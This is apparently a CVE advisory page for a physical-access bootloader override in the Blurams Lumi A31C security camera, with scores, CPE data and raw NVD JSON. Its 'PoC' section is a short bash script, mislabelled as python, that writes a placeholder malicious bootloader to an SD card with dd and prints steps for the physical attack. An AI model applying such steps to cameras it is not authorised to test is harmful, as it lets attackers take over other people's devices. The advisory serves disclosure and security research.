Security Vulnerability Report
中文
CVE-2025-63674 CVSS 6.8 MEDIUM

CVE-2025-63674

Published: 2025-11-24 22:15:50
Last Modified: 2025-12-30 17:24:20

Description

An issue in Blurams Lumi Security Camera (A31C) v23.1227.472.2926 allows local physical attackers to execute arbitrary code via overriding the bootloader on the SD card.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:blurams:a31c_firmware:23.1227.472.2926:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:blurams:a31c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Blurams Lumi Security Camera (A31C) v23.1227.472.2926

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-63674 PoC - Blurams Lumi Camera Bootloader Override # This PoC demonstrates the bootloader override vulnerability # Author: Security Research # Reference: https://vindivlabs.com/research/lumi_part_2/ # Prerequisites: # - Physical access to Blurams Lumi Camera (A31C) # - SD card (formatted as FAT32) # - Malicious bootloader binary (malicious_bootloader.bin) # Step 1: Prepare the malicious bootloader on SD card echo "[*] Preparing malicious bootloader on SD card..." # Create a backup of original SD card contents (if any) mkdir -p backup mount /dev/sdX1 /mnt/sdcard 2>/dev/null || true cp -r /mnt/sdcard/* backup/ 2>/dev/null || true umount /mnt/sdcard 2>/dev/null || true # Step 2: Write malicious bootloader to SD card echo "[*] Writing malicious bootloader to SD card..." dd if=malicious_bootloader.bin of=/dev/sdX1 bs=512 seek=0 conv=notrunc # Step 3: Verify the write operation echo "[*] Verifying bootloader installation..." md5sum malicious_bootloader.bin > /tmp/bootloader_hash.txt dd if=/dev/sdX1 bs=512 count=1 | md5sum # Step 4: Instructions for physical attack echo "[!] SD card is ready for physical attack" echo "[!] Insert SD card into Blurams Lumi Camera" echo "[!] Power on the device - malicious bootloader will be loaded" echo "[!] Attacker gains arbitrary code execution with kernel privileges" # Note: The actual malicious bootloader binary needs to be crafted # based on the device architecture (typically ARM) and specific firmware version # This is a conceptual PoC for educational and security research purposes only

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63674", "sourceIdentifier": "[email protected]", "published": "2025-11-24T22:15:49.677", "lastModified": "2025-12-30T17:24:20.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Blurams Lumi Security Camera (A31C) v23.1227.472.2926 allows local physical attackers to execute arbitrary code via overriding the bootloader on the SD card."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:blurams:a31c_firmware:23.1227.472.2926:*:*:*:*:*:*:*", "matchCriteriaId": "1D2803BA-97E4-45D2-B008-5AAA3148942E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:blurams:a31c:-:*:*:*:*:*:*:*", "matchCriteriaId": "79DC3870-273F-40D9-869C-A6A3A59D37E4"}]}]}], "references": [{"url": "http://a31c.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://blurams.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vindivlabs.com/research/lumi_part_2/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}